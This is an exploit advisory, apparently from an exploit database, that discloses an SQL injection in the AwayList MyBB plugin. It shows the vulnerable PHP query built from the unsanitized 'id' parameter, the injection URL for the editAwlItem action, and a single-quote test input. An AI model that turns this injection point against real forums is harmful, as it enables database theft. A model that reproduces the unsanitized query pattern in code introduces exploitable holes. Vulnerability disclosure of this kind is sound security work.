23 lines
No EOL
602 B
Text
23 lines
No EOL
602 B
Text
# Exploit Title: AwayList MyBB plugin SQLi 0day
|
|
# Exploit Author: Red_Hat [Team Vect0r]
|
|
# Software Link: http://mods.mybb.com/view/awaylist
|
|
# Tested on: Windows & Linux.
|
|
|
|
|
|
Vulnerable code :
|
|
|
|
<?php
|
|
$query = $db->simple_select( // 245
|
|
"awaylist", '*', "id = '" . $mybb->input['id'] . "'" // 246
|
|
); // 247
|
|
$item = $db->fetch_array($query); // 248
|
|
?>
|
|
|
|
The variable '$mybb->input['id']' remains unsanitized.
|
|
|
|
Usage : http://server/index.php?action=editAwlItem&id=[SQLi]
|
|
|
|
Exploit-DB Not:
|
|
This is what worked for us: awaylist.php?action=editAwlItem&id=1'
|
|
|
|
Shoutout to Zixem <3 & Team Vect0r :3 |